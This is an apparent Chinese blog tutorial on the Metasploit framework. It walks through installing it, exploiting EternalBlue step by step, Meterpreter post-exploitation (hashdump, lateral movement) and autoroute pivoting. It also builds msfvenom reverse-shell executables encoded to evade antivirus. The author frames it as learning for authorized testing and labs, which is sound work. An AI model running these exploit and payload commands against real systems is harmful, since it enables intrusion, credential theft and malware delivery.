Metasploit
> Metasploit — 渗透测试框架,集漏洞利用、载荷生成与后渗透于一体,红队必备瑞士军刀。
兄弟们,今天聊点硬核的。如果你搞安全、搞渗透、或者只是对黑客技术有点好奇,那你肯定绕不开一个名字——**Metasploit**。这玩意儿在安全圈的地位,基本相当于手机界的iPhone、汽车界的丰田陆巡,不是唯一选择,但绝对是大多数人入坑和实战的首选。
我第一次接触它的时候还在上大学,当时觉得这玩意儿就是个“傻瓜式黑客工具”,敲几个命令就能拿shell,太没技术含量了。后来真正深入用才发现,**它的强大不在于“一键攻击”,而在于它把整个渗透测试的流程标准化、模块化了**。你不需要每次遇到一个漏洞就手动写exploit,Metasploit帮你把“找漏洞、打漏洞、拿权限、留后门”这条链路全打通了。
---
### 它到底解决什么问题?
简单说,**它解决的是“从0到1”的效率问题**。假设你发现目标机器上有个SMB漏洞,但你手头没有现成的利用代码,你得去GitHub翻、去Exploit-DB找、还要编译、还要适配环境……这一套下来可能半天就没了。但Metasploit里,你只需要 `search smb`,找到对应的模块,`use` 一下,设置几个参数,`run`。完事。
它内置了**上千个漏洞利用模块(Exploit)**、**几百个载荷(Payload)** 和**一大堆辅助模块(Auxiliary)**,比如扫描器、爆破器、抓包工具。你不需要重复造轮子,只需要知道该用哪个轮子,以及怎么把轮子装上。
另外,它还解决了**后渗透**的问题。拿到一个Meterpreter会话之后,你可以直接提权、抓密码、截屏、键盘记录、内网穿透……这些操作在传统方式下可能需要你上传一堆工具,但在Metasploit里都是内置命令,一个 `hashdump` 就搞定。
---
### 下载与安装
官网在这里:**[Metasploit 官方网站](https://www.metasploit.com/)** ,别下错了,认准Rapid7家的。
安装方式分三种,我按推荐程度排序:
1. **Kali Linux 自带**(最省事)
如果你用Kali,那已经预装好了,直接终端敲 `msfconsole` 就能进。没有的话,`sudo apt update && sudo apt install metasploit-framework`。
2. **官方一键安装脚本**(适合Linux/macOS)
在终端执行:
```bash
curl https://raw.githubusercontent.com/rapid7/metasploit-framework/master/msfupdate
```
下载脚本后,`chmod +x msfupdate && sudo ./msfupdate`。它会自动帮你装好依赖和数据库。
3. **Windows 安装包**
去官网下载 `.exe` 安装包,双击下一步下一步就行。但说实话,Windows下用Metasploit体验一般,很多工具链是Linux原生的,建议用WSL2或者直接上虚拟机。
装完之后,终端输入 `msfconsole`,看到那个经典的ASCII艺术字Banner,就说明成功了。
---
### 基础使用教程(新手必看)
进到 `msfconsole` 这个交互界面后,别慌,记住这几个核心命令,你就入门了。
**第一步:搜索模块**
```bash
msf6 > search type:exploit ms17-010
```
这条命令会搜索永恒之蓝的利用模块。`type:exploit` 限定类型,后面是关键词。
**第二步:选用模块**
```bash
msf6 > use exploit/windows/smb/ms17_010_eternalblue
```
看到 `msf6 exploit(...) >` 提示符变了,说明你已经在模块上下文里了。
**第三步:查看必填参数**
```bash
msf6 exploit(...) > show options
```
这里会列出所有需要设置的选项,带 `Required: yes` 的是必填。比如 `RHOSTS`(目标IP)、`LHOST`(你的IP)、`LPORT`(你监听的端口)。
**第四步:设置参数**
```bash
msf6 exploit(...) > set RHOSTS 192.168.1.10
msf6 exploit(...) > set LHOST 192.168.1.100
msf6 exploit(...) > set LPORT 4444
```
**第五步:跑起来**
```bash
msf6 exploit(...) > run
```
如果成功,你会看到 `Meterpreter session 1 opened` 之类的提示,然后你就进入了一个 `meterpreter >` 的会话。
**进入Meterpreter之后,常用命令:**
- `sysinfo` — 查看系统信息
- `getuid` — 查看当前用户权限
- `shell` — 弹出一个系统原生命令行
- `download` / `upload` — 传文件
- `screenshot` — 截屏
---
### 进阶技巧(老鸟经验)
基础会了,接下来才是拉开差距的地方。
**1. 用 `db_nmap` 联动数据库**
别用 `nmap` 扫完再手动填IP。先在msf里 `db_nmap -sV 192.168.1.0/24`,扫描结果会自动存入数据库。然后你直接 `hosts` 看主机列表,`services` 看端口服务,甚至 `vulns` 直接看匹配到的漏洞。扫完直接 `search` 对应漏洞模块,效率翻倍。
**2. 会话后台与复用**
拿到shell后,别傻乎乎地在那挂着。按 `Ctrl+Z` 把会话丢到后台,然后用 `sessions -l` 看列表,`sessions -i 1` 重新进入。如果你同时打了多台机器,可以 `sessions -c "hashdump"` 在所有会话里批量执行命令,方便横向移动。
**3. 用 `msfvenom` 生成免杀载荷**
这是很多人忽略的。`msfvenom` 是Metasploit的独立载荷生成器。比如你想生成一个Windows下的反弹shell:
```bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=你的IP LPORT=4444 -f exe -o shell.exe
```
但这玩意儿直接扔给目标,杀软秒杀。进阶玩法是**编码**:
```bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=你的IP LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o shell_encoded.exe
```
`-i 5` 表示编码5次,能过一些老牌杀软。但这只是入门,真正免杀得配合shellcode加载器、分离免杀之类的,那是另一个话题了。
**4. 内网穿透(Pivot)**
这是Metasploit最骚的地方。假设你拿下了A机器(外网),但内网还有B机器(不出网)。你在A的Meterpreter会话里,执行:
```bash
meterpreter > run autoroute -s 10.10.10.0/24
```
然后你就相当于在A机器上搭了个代理,msf可以直连内网IP。接着 `search` 内网漏洞,直接打B机器。这种“跳板”操作,是红队内网渗透的核心。
**5. 自定义模块**
Metasploit是Ruby写的,如果你会一点Ruby,可以自己写exploit模块。把脚本丢到 `~/.msf4/modules/exploits/` 目录下,重启msf就能加载。这玩意儿的可扩展性极强,几乎你能想到的协议都有对应的辅助模块。
---
### 最后说点掏心窝的
Metasploit确实强大,但它不是“一键日站”的神器。**真正的价值在于你对漏洞原理的理解和对网络协议的把控**。工具只是把复杂流程简化了,但如果你不知道什么是SMB、不知道什么是反序列化漏洞,那你拿到工具也只能对着 `show options` 发呆。
另外,**一定要在合法授权下使用**。这玩意儿是双刃剑,你拿它打自己靶机、打CTF、做渗透测试项目,完全没问题。但碰未经授权的系统,那性质就变了。别让自己从“技术爱好者”变成“犯罪嫌疑人”。
好了,今天就聊到这儿。如果你刚入门,建议在本地搭个靶机(比如Metasploitable2),把这篇文章里的命令都敲一遍。等你能熟练打通一个靶机,你就会发现——这工具,真香。
有问题评论区见,看到会回。